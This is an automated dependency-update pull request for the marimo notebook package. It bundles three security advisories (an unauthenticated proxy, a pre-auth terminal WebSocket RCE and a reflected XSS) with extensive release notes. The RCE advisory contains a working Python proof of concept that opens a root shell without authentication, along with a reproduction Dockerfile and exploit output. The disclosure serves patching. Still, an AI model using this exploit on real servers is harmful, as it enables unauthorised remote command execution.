chore(deps): update dependency marimo [security]

[renovate]

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
marimo	>0.14,<0.15 → >0.25,<0.26
marimo	==0.14.17 → ==0.23.9

---

marimo vulnerable to proxy abuse of /mpl/{port}/

GHSA-xjv7-6w92-42r7

More information

Details

Summary

The /mpl/<port>/<route> endpoint, which is accessible without authentication on default Marimo installations allows for external attackers to reach internal services and arbitrary ports.

Details

From our understanding, this route is used internally to provide access to interactive matplotlib visualizations.
marimo/marimo/_server/main.py at main · marimo-team/marimo
This endpoint functions as an unauthenticated proxy, allowing an attacker to connect to any service running on the local machine via the specified <port> and <route>.

The existence of this proxy is visible in the application's code (marimo/_server/main.py), but there's no official documentation or warning about its behavior or potential risks.

Impact

CWE-441: Proxying Without Authentication

This vulnerability, as it can be used to bypass firewalls and access internal services that are intended to be local-only. The level of impact depends entirely on what services are running and accessible on the local machine.

Full Local Access: An attacker can use this proxy to connect to local services that answer to web sockets, HTTP or ASGI protocol, effectively gaining a foothold on the machine. Depending on the service, this can lead to remote code execution, data exfiltration, or further network penetration.

Exposure of Sensitive Services: Our scans of public-facing Marimo servers have shown that many are exposing sensitive internal services, including:

Old CUPS Servers: Could allow an attacker to view print jobs or configuration or depending on old vulnerabilities, allow RCE.

phpMyAdmin: Provides a web interface to a MySQL database, potentially exposing sensitive data.

RPCMapper: Can be used for network reconnaissance and enumerating services.

While you’d hope people wouldn’t expose marimo instances to the internet, we found numerous public Marimo instances using tools like Shodan. Many of these servers, some even hosted on cloud platforms like AWS GovCloud, were found to be vulnerable. This means the vulnerability isn't limited to a few isolated cases but is a widespread issue affecting production environments.

===

Notes, this was discovered by devgi. I (acepace) followed up and also created this report.

Severity

• CVSS Score: 6.9 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/marimo-team/marimo/security/advisories/GHSA-xjv7-6w92-42r7
• https://github.com/marimo-team/marimo/commit/0312706d5e594acdb405209b2c8d87c98f46b22b
• https://github.com/marimo-team/marimo/releases/tag/0.16.4
• https://marimo-team.notion.site/cve-proxy-without-authentication
• https://github.com/advisories/GHSA-xjv7-6w92-42r7

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Marimo: Pre-Auth Remote Code Execution via Terminal WebSocket Authentication Bypass

CVE-2026-39987 / GHSA-2679-6mx9-h9xc

More information

Details

Summary

Marimo (19.6k stars) has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands.

Unlike other WebSocket endpoints (e.g., /ws) that correctly call validate_auth() for authentication, the /terminal/ws endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification.

Affected Versions

Marimo <= 0.20.4

Vulnerability Details

Root Cause: Terminal WebSocket Missing Authentication

marimo/_server/api/endpoints/terminal.py lines 340-356:

@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
    app_state = AppState(websocket)
    if app_state.mode != SessionMode.EDIT:
        await websocket.close(...)
        return
    if not supports_terminal():
        await websocket.close(...)
        return
    # No authentication check!
    await websocket.accept()  # Accepts connection directly
    # ...
    child_pid, fd = pty.fork()  # Creates PTY shell

Compare with the correctly implemented /ws endpoint (ws_endpoint.py lines 67-82):

@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
    app_state = AppState(websocket)
    validator = WebSocketConnectionValidator(websocket, app_state)
    if not await validator.validate_auth():  # Correct auth check
        return

Authentication Middleware Limitation

Marimo uses Starlette's AuthenticationMiddleware, which marks failed auth connections as UnauthenticatedUser but does NOT actively reject WebSocket connections. Actual auth enforcement relies on endpoint-level @requires() decorators or validate_auth() calls.

The /terminal/ws endpoint has neither a @requires("edit") decorator nor a validate_auth() call, so unauthenticated WebSocket connections are accepted even when the auth middleware is active.

Attack Chain

1. WebSocket connect to ws://TARGET:2718/terminal/ws (no auth needed)
2. websocket.accept() accepts the connection directly
3. pty.fork() creates a PTY child process
4. Full interactive shell with arbitrary command execution
5. Commands run as root in default Docker deployments

A single WebSocket connection yields a complete interactive shell.

Proof of Concept

import websocket
import time

##### Connect without any authentication
ws = websocket.WebSocket()
ws.connect('ws://TARGET:2718/terminal/ws')
time.sleep(2)

##### Drain initial output
try:
    while True:
        ws.settimeout(1)
        ws.recv()
except:
    pass

##### Execute arbitrary command
ws.settimeout(10)
ws.send('id\n')
time.sleep(2)
print(ws.recv())  # uid=0(root) gid=0(root) groups=0(root)
ws.close()

Reproduction Environment

FROM python:3.12-slim
RUN pip install --no-cache-dir marimo==0.20.4
RUN mkdir -p /app/notebooks
RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py
WORKDIR /app/notebooks
EXPOSE 2718
CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."]

Reproduction Result

With auth enabled (server generates random access_token), the exploit bypasses authentication entirely:

$ python3 exp.py http://127.0.0.1:2718 exec "id && whoami && hostname"
[+] No auth needed! Terminal WebSocket connected
[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
ddfc452129c3

Suggested Remediation

1. Add authentication validation to /terminal/ws endpoint, consistent with /ws using WebSocketConnectionValidator.validate_auth()
2. Apply unified authentication decorators or middleware interception to all WebSocket endpoints
3. Terminal functionality should only be available when explicitly enabled, not on by default

Impact

An unauthenticated attacker can obtain a full interactive root shell on the server via a single WebSocket connection. No user interaction or authentication token is required, even when authentication is enabled on the marimo instance.

Severity

• CVSS Score: 9.3 / 10 (Critical)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://github.com/marimo-team/marimo/pull/9098
• https://github.com/marimo-team/marimo/commit/c24d4806398f30be6b12acd6c60d1d7c68cfd12a
• https://nvd.nist.gov/vuln/detail/CVE-2026-39987
• https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-39987
• https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-39987
• https://www.sysdig.com/blog/marimo-oss-python-notebook-rce-from-disclosure-to-exploitation-in-under-10-hours
• https://github.com/advisories/GHSA-2679-6mx9-h9xc

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

marimo contains a reflected cross-site scripting vulnerability in the notebook page

CVE-2026-54386 / GHSA-8m59-7xv8-735h

More information

Details

marimo before 0.23.9 contains a reflected cross-site scripting vulnerability in the notebook page that allows unauthenticated attackers to inject arbitrary JavaScript by exploiting improper escaping of single quotes in the file query parameter reflected into an inline JavaScript string literal. Attackers can craft a malicious link with a payload beginning with new to bypass the 404 check and inject JavaScript into the page, which executes without Content-Security-Policy restrictions in the origin of a victim's marimo server.

Severity

• CVSS Score: 5.1 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

• https://nvd.nist.gov/vuln/detail/CVE-2026-54386
• https://github.com/marimo-team/marimo/pull/9789
• https://github.com/marimo-team/marimo/commit/fdd55c8cf6260ae23bb411dc9d9269def5cf75d6
• https://github.com/marimo-team/marimo/releases/tag/0.23.9
• https://www.vulncheck.com/advisories/marimo-xss-via-file-query-parameter-in-assets-py
• https://github.com/advisories/GHSA-8m59-7xv8-735h

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

marimo-team/marimo (marimo)

v0.25.1

Compare Source

✨ Enhancements

• Make local agent pairing easier to discover (#​10946)
• Update LLM model catalog (#​11002)
• Add expand_outputs as an argument to ctx.edit_cell and ctx.create_cell (#​10974)
• Record cache entries in a per-notebook manifest (#​10838)
• Marimo cache size (#​10837)
• Marimo cache dir (#​10836)

🐛 Bug fixes

• Keep getpass responses out of saved console output (#​11043)
• Reject invalid code mode cell names (#​11032)
• Align and unshrink mo.ui.radio button when option label wraps (#​11031)
• Harden sandbox environment selection (#​11026)
• Send origin referrer on cross-origin requests from notebook pages (#​11015)
• Keep sandbox package managers fixed in install alerts (#​10983)
• Render dotted chart columns when data falls back to CSV (#​10856)
• Fix plotly hover text rendering issue (#​10988)
• Avoid repeated Docker prompt for sandboxed URL edits (#​10984)
• Make the kernel SIGINT handler reentrancy-safe (#​10975)
• Secure language server websocket listeners (#​10979)
• Change tokenization to allow trailing comments (#​10981)
• UI fix for SFTP (and a fsspec plugin for ssh) (#​10977)
• Ensure partial cell config update preserves existing values (#​10971)

📚 Documentation

• Add huggingface/drive to remote storage (#​10959)
• Normalize styles from katex bump (#​10995)
• Add Whisper sandbox example (#​10994)
• Fix quickstart anchors in Spanish and Chinese READMEs (#​10989)
• Security clarification on pyproject.toml (#​10986)
• Add ffmpeg pixi example for blog post (#​10993)

📝 Other changes

• Fix suboptimal assignment in cell-matching Hungarian algorithm (#​10654) (f15c5ff)

Contributors

Thanks to all our community and contributors who made this release possible: @​dmadisetti, @​kirangadhave, @​koaning, @​Light2Dark, @​manzt, @​marthacryan, @​mscolnick, @​peter-gy, @​sadov, @​ZainnQureshii

Full Changelog: marimo-team/marimo@0.25.0...0.25.1

v0.25.0

Compare Source

This release reworks sandboxing to improve correctness, recovery, and consistency, and adds Pixi as a new sandbox backend.

We expect most users to be able to upgrade without making changes. Existing sandbox commands continue to work, but the underlying environment lifecycle has changed substantially and could affect some workflows.

This release also adds portable WebAssembly exports, persistent expanded outputs, and many fixes across the editor and runtime.

⭐️ Highlights

Pixi-powered notebook sandboxes

marimo sandboxes now support Pixi, bringing Conda packages, native libraries, and non-Python runtimes into notebook environments.

uv remains the default; use --sandbox=pixi to opt in.

# uv remains the default
uvx marimo edit --sandbox notebook.py

# Use Pixi
pixi exec marimo edit --sandbox=pixi notebook.py

Pixi-backed notebooks can combine packages from PyPI and Conda in the notebook’s inline configuration:

# /// script
# dependencies = ["marimo"]

#
# [tool.pixi.workspace]

# channels = ["conda-forge"]
#

# [tool.pixi.dependencies]
# r-base = "*"

# rpy2 = "*"
# ///

For example, this configuration carries everything needed to use R from Python. Learn more about Pixi sandboxes.

A revamped sandbox lifecycle

As part of the new sandbox architecture, the marimo editor now starts separately from notebook kernels. Sandboxed notebooks open faster because the editor no longer waits for uv or Pixi to prepare the environment and start the kernel.

The Packages panel shows that work as it happens. If setup fails, you can now edit the notebook manifest and retry without restarting marimo.

Read the sandbox guide to learn more.

Keep cell outputs expanded

One of our most-requested features is here: expanded cell outputs can now be saved as part of the notebook.

When you select Expand Cell Output, marimo records the preference on the cell:

@app.cell(expand_output=True)
def _():
    ...

The output remains expanded when you reopen or share the notebook. Selecting Clamp Cell Output restores the default behavior.

This was also one of the first contributions from our newest team member, @​marthacryan!

Portable WebAssembly exports

Interactive WebAssembly notebooks can now be exported as a single HTML file that opens directly in a browser, or as a self-contained bundle for serving without an internet connection:

marimo export html-wasm notebook.py --single-file -o notebook.html
marimo export html-wasm notebook.py --offline -o dist/

Read the WebAssembly export guide.

✨ Enhancements

• Rebuild sandbox execution around one environment per notebook (#​10728)
• Run notebook sandboxes with Pixi (#​10697)
• Show sandbox context in the Packages panel (#​10729)
• Unify sandbox execution and asynchronous startup (#​10821)
• Add sandbox startup and recovery UI (#​10822)
• Keep sandbox setup separate from installed packages (#​10944)
• Add expand_output cell decorator (#​10911)
• Add Lens to the optional dependency dialog (#​10950)
• Add Studio and Lens CLI tips (#​10873)
• Create self-contained WebAssembly export bundles for offline use (#​10879)
• Support single-file WebAssembly exports (#​10878)
• Include marimo-lens in recommended dependencies (#​10897)
• Open the issue-report modal from the error fallback (#​10875)
• Replace the JSON viewer to remove MUI and Emotion (#​10865)
• Automatically mount Lens when installed (#​10814)
• Update the LLM model catalog (#​10828)
• Allow accordion items to start expanded (#​10824)
• Default new SQL cells to an available connection (#​10826)

🐛 Bug fixes

• Recover the file browser after cached output resets (#​10862)
• Improve missing-backend errors and sandbox startup cleanup (#​10954)
• Refresh the FastAPI example (#​10945)
• Disable thinking for inline autocomplete (#​10890)
• Collapse all sections when nested heading ranges share an end cell (#​10923)
• Wait for initialization before starting sessions (#​10927)
• Preserve local images in HTML and PDF exports (#​10938)
• Expand home directories in custom CSS paths (#​10829)
• Strip quotes and whitespace from %env values in ipynb conversion (#​10904)
• Preserve cell-toolbar keyboard activation (#​10827)
• Selectively prune modules under pytest (#​10908)
• Defer browser discovery until a cell uses webbrowser (#​10887)
• Fix expanded output in image_compare (#​10907)
• Send stable conversation headers to OpenCode Go (#​10895)
• Stop sandbox export children reliably on termination (#​10891)
• Count nulls correctly in boolean column statistics (#​10866)
• Resolve notebook paths when running cells with pytest (#​10864)
• Fall back to CSV for Altair charts without pyarrow (#​10855)
• Render display math nested in list-item continuations (#​10785)
• Prevent console crashes when input prompts are interrupted (#​10854)
• Recover from prompt submission failures (#​10818)
• Render multiline tooltips with normalized line endings (#​10850)
• Support multiline text in data-tooltip attributes (#​10851)
• Initialize terminal dimensions before shell startup (#​10830)
• Truncate long column names in the columns menu (#​10831)
• Run async notebooks from inside a running event loop (#​10505)
• Fix Codex marimo pair skill detection (#​10671)
• Run notebook sandboxes from uv script environments (#​10696)
• Centralize uv and PEP 723 operations (#​10695)

📚 Documentation

• Reframe package management docs around projects and sandboxes (#​10940)
• Explain .env resolution when there is no pyproject.toml (#​10583)
• Add more videos to the documentation (#​10623)
• Stop the docs font size from scaling up on wide screens (#​10914)
• Fix dependency installation in island payloads (#​10832)

🔬 Preview features

• Add an agent-facing CLI for live notebook sessions (#​10777)
• Add opt-in CLI prompts for agent pairing (#​10889)

📝 Other changes

• Surface when the workspace file scan is truncated (#​10550)
• Allow Jedi 0.20.0 (#​10863)
• Update pre-commit hooks (#​10707)
• Update npm non-major dependencies (#​10714)

Contributors

Thanks to all our community and contributors who made this release possible: @​akshayka, @​atul2387, @​boydgreenfield, @​Chinmayrawat15, @​cspipaon, @​dangooddd, @​DevPranjal, @​dmadisetti, @​julio4, @​kirangadhave, @​koaning, @​Light2Dark, @​manzt, @​marthacryan, @​mscolnick, @​NoiceHax, @​Oscar-Williams, @​peter-gy, @​phobson, @​SergeyAxiomatic

And especially to our new contributors:

• @​atul2387 made their first contribution in #​10886
• @​boydgreenfield made their first contribution in #​10866
• @​cspipaon made their first contribution in #​10923
• @​dangooddd made their first contribution in #​10829
• @​DevPranjal made their first contribution in #​10583
• @​julio4 made their first contribution in #​10818
• @​marthacryan made their first contribution in #​10907
• @​NoiceHax made their first contribution in #​10550
• @​Oscar-Williams made their first contribution in #​10904
• @​phobson made their first contribution in #​10945
• @​SergeyAxiomatic made their first contribution in #​10785

Full Changelog: marimo-team/marimo@0.24.2...0.25.0

v0.24.2

Compare Source

What's Changed

✨ Enhancements

• Always show storage metadata for files (#​10799)

🐛 Bug fixes

• Recognize MSSQL DuckDB string type aliases (#​10801)
• Remove Markdown prose width cap (#​10802)
• Finalize cells after post-execution hook interrupts (#​10792)

Contributors

Thanks to all our community and contributors who made this release possible: @​akshayka, @​kirangadhave, @​Light2Dark, @​mscolnick

Full Changelog: marimo-team/marimo@0.24.1...TODO_CURRENT_VERSION

v0.24.1

Compare Source

What's Changed

This release makes it easier to share slide decks, browse files across directories and GitHub repositories, in addition to many other bug fixes. Some other changes include better geospatial data support with GeoPandas, polars and duckdb, web assembly optimizations, and a condensed graph view to understand your notebook's dependencies.

⭐️ Highlights

Export slides to HTML and WebAssembly

Share notebooks in the slides layout as reveal.js decks, preserving slide structure, fragments, and deck settings. Export static HTML with captured outputs, or use WebAssembly to keep Python controls interactive in the browser.

marimo export html slides.py -o slides.html
marimo export html-wasm slides.py -o slides --mode run

Read the docs for static HTML, or learn about interactive WebAssembly exports.

Browse local folders and GitHub repositories

Keep project files, data directories, and GitHub repositories within reach in the Files panel. Add named local directories in pyproject.toml, or use Add Connection to connect a GitHub repository and browse its files.

[tool.marimo.file_browser]
folders = [
    { path = "/absolute/path/to/data", name = "Data" },
    { path = "/absolute/path/to/assets", name = "Assets" },
]

Read the docs for additional local folders, or learn about remote storage connections.

A compact view of notebook dependencies

The dependency graph now shows compact variable summaries, making it easier to follow connections in larger notebooks. Double-click a cell in the graph to expand its code.

Read the docs.

✨ Enhancements

• Make the file browser faster and easier to navigate (#​10773)
• Condensed dependency graph representation (#​10766)
• Show only specific columns from the column menu and explorer (#​10768)
• Find connections by provider in command palette (#​10749)
• Refresh static notebook run dialog (#​10741)
• Persist static code visibility in URL (#​10742)
• Refresh the model catalog and restore automated updates (#​10735)
• HTML and WASM export of Reveal slides (#​10703)
• Read provider keys from environment variables (#​10665)
• Stream validated structured cell completions (#​10652)
• Make proposed AI edits UI consistent with editor styling (#​10595)
• Update LLM model catalog (#​10634)
• Preview and edit TOML files with syntax highlighting (#​10599)
• Hide redundant notebook download submenu (#​10607)
• Upload files directly into folders (#​10637)
• Make auto-discovered connections easier to add (#​10640)
• Open the JSON viewer for string columns containing JSON documents (#​10629)
• Connect GitHub repos from the Add Connection UI (#​10604)
• Replace GitHub Models with GitHub Copilot (#​10750)
• Allow mo.latex to accept text directly (#​10723)
• Add shortcut to create a SQL cell below (#​10701)
• Support multi-root file browsing (#​10727)
• Install WebAssembly notebook packages in parallel with progress updates (#​9702, 78f0366)
• Hide unused providers when allow_provider_config is false (#​10590, 3524643)
• Show detected data sources and hide suggestions for existing connections (#​10575, ba0219a)
• Add GeoPandas geometry table support (#​10536, 205fa16)
• Lint rule for private imports (#​10580, 3a1b1da)
• Type exact values and adjust step sizes in mo.ui.matrix (#​10520, 5c3646a)
• Add Databricks SQL warehouse discovery plugin (#​10556, df8dbed)
• Update LLM model catalog (#​10571, 09c2c30)
• Install server requirements for notebook exports (#​10473, 397fae2)

🐛 Bug fixes

• Add an exit control to fullscreen cell output (#​10769)
• Make cross-cell navigation work before target editors finish loading (#​10708)
• Map geoarrow imports to geoarrow-types (#​10659)
• Preserve newlines in iframe srcdoc (#​10668)
• Map mace imports to mace-torch (#​10594)
• Detect CRS-qualified DuckDB geometry (#​10643)
• Set explicit browser cache headers (#​10614)
• Preserve insertion order for NumPy integer dictionary keys (#​10788)
• Serialize Polars cache values with native IPC (#​10775)
• Respect a single supplied bound when choosing the default mo.ui.date_range value (#​10649)
• Keep marimo running when tracing dependencies are missing (#​10758)
• Fix scope renaming during notebook conversion (#​10748)
• Use Ctrl for AI shortcuts on Windows (#​10751)
• Preserve unqualified references in methods (#​10679)
• Handle spaces in package extras (#​10686)
• Prevent nested progress output from shaking (#​10743)
• Preserve virtual ESM URLs (#​10687)
• Make edit replay robust across structural changes (#​10662)
• Fix reference ordering for recursive private functions (#​10678)
• Update the Matplotlib pin in tutorials to avoid Path.__deepcopy__ recursion (#​10702)
• Accept covariant mappings in mo.ui.dictionary and .batch (#​10653)
• Stop listing unavailable Kimi K3 on W&B (#​10689)
• Make catalog discovery reuse one connection (#​10636)
• Match generated filter code to the widget's literal contains operator (#​10617)
• Fix table-cell edit styling and popover dismissal (#​10622)
• Resolve the default database for Snowflake engines without a database in the URL (#​10616)
• Derive canvas draw scale from the backing store (#​10626)
• Validate that checkbox values are booleans (#​10601)
• Reject an empty-string value in mo.ui.file_browser (#​10613)
• Fix code lens tooltip jitter (#​10591)
• Route AI tool arguments to the correct tool (#​10597)
• Store a keyed hash of the auth token in the session cookie (#​10691)
• Preserve dataframe state after unmounting (#​10762, #​10759, 69e0067)
• Use Ctrl for chart pan and zoom on non-macOS platforms (#​10496, #​3812, b4181ab)
• Restore streaming package installation in WebAssembly notebooks (#​10522, c3717b7)
• Sanitize signing config from untrusted layers (#​10525, 55e2a22)
• Handle delimiters when detecting URLs in table cells (#​10570, eb9960f)
• Suppress warnings for duration columns in column summaries (#​10531, 666e922)
• Pass real JSON schema through for MCP/backend tools (#​10573, 9131759)
• Fix Slurm script execution and refresh deployment examples (#​10469, f1b3678)

📚 Documentation

• Fix the SQL Support link in the sql_parse_error lint rule (#​10757)
• Fix the mo.video example (#​10731)
• Keep sidebar code mode aligned with marimo-pair (#​10683)
• Update the molab storage documentation (#​10672)
• Add a callout to use Jupyter-to-marimo agent skill (#​10593)

📝 Other changes

• Restore typechecking with Click 8.4 (#​10738)
• Skip the Scattermapbox selection test when Plotly removes it (#​10721)
• Update actions/checkout digest (#​10710)
• Update all oxc dependencies (#​10700)
• Update all storybook dependencies to ^10.5.10 (#​10673)
• Update codemirror dependencies (#​10482, 0a80490)
• Update build tools (#​10630)
• Update dependency @​testing-library/jest-dom to v7 (#​10619)
• Restore current JAX coverage after Flax compatibility fix (#​10669)
• Generate OpenAPI schema for UI plugin contracts (#​10513, 257ea7a)
• Unblock Flax tests during JAX compatibility window (#​10646)
• Update pre-commit hooks (#​10578, 96a4942)
• Make session resume E2E retries reliable (#​10588, cad0f45)
• Introduce SigningPolicy and rename mode to verification (#​10524, 3dbe26f)
• Add geometry fixture corpus and baselines (#​10516, eece28b)
• Enable four additional Ruff checks (#​10586, 4e4efcc)
• Keep custom SSL clients type-safe on openai 3 (#​10587, e878ff7)
• Migrate to MCP 2 (#​10581, 849f16b)
• Scope debugger ignore (#​10540, ea3be97)
• Remove stale ignores (#​10539, c092a67)
• Move cache configuration from experimental.cache to cache.store and add signing fields (#​10523, 7ff2b4d)

Contributors

Thanks to all our community and contributors who made this release possible: @​Abdulrehman-PIAIC80387, @​abelsiqueira, @​afonsojanu, @​akshayka, @​alchem0x2A, @​Aniket-a14, @​dmadisetti, @​Jacky-J126, @​kirangadhave, @​kjgoodrick, @​koaning, @​ktaletsk, @​Light2Dark, @​manzt, @​matemijolovic, @​mscolnick, @​Nikhil-Koganti, @​peter-gy, @​pylrn, @​robd518, @​sha2fiddy, @​winklemad

And especially to our new contributors:

• @​abelsiqueira made their first contribution in #​10626
• @​afonsojanu made their first contribution in #​10702
• @​alchem0x2A made their first contribution in #​10594
• @​Aniket-a14 made their first contribution in #​10701
• @​Jacky-J126 made their first contribution in #​10757
• @​matemijolovic made their first contribution in #​10762
• @​Nikhil-Koganti made their first contribution in #​10496
• @​pylrn made their first contribution in #​10723
• @​sha2fiddy made their first contribution in #​10616

Full Changelog: marimo-team/marimo@0.24.0...0.24.1

v0.24.0

Compare Source

What's Changed

This release improves the user experience for working with data sources in the marimo editor. It also makes a small breaking change to mo.ui.file_browser, restricting navigation outside the target directory by default with restrict_navigation=True. Like all our releases, it includes many other enhancements and bug fixes.

🤗 Hugging Face Hub integration

Hugging Face Hub is now a first-class remote storage backend. Hugging Face Hub (huggingface_hub.HfApi) usage is automatically detected, with your HuggingFace data appearing in the storage sidebar.

• Browse datasets, models, spaces, and buckets, with lazy listing/download/signed-URL support via HfApi.
• Bucket paths are namespaced like repos (buckets///...), matching the Hugging Face Hub API.
• Read files directly with hf:// URLs from Polars, pandas, or DuckDB.

Read the docs to learn more.

🛢️ Preview variables bound to data sources

Variables bound to data sources and remote storage backends are now decorated with small icons indicating the connection. Hover over the icon to see details about the connection, or click it to open the relevant section in the data sources sidebar panel.

📥 A unified export dialog

The marimo editor now includes a simple, unified, and customizable export dialog, allowing you to export notebooks to various formats and customize the options for each export type.

export-dialog-demo.mp4

🤖 AI capabilities in the chat sidebar

Give your AI access to capabilities like web search directly from the siderbar:

Screen.Recording.2026-08-10.at.5.14.09.PM.mov

All changes

✨ Enhancements

• add capabilities UI for chat sidebar (#​10502)
• Infer file browser initial path from initial value (#​10362)
• Make editor code lens configurable via display.code_lens (#​10512)
• Migrate frontend to AI SDK v7 (#​10486)
• Enable editor code lens (#​10507)
• Improve discoverability of collapse/expand all sections commands (#​10464)
• Raise upper bound on uv_build to <=0.13.0 (#​10467)
• Update LLM model catalog (#​10440)
• Report missing Chromium for PDF export ([#​10453](https://redirect.github.com/marimo-team/marimo/

[!IMPORTANT]
✂ PR body was truncated to here.

---

Configuration

📅 Schedule: (UTC)

• Branch creation
  • At any time (no schedule defined)
• Automerge
  • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 Immortal: This PR will be recreated if closed unmerged. Get config help if that's undesired.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.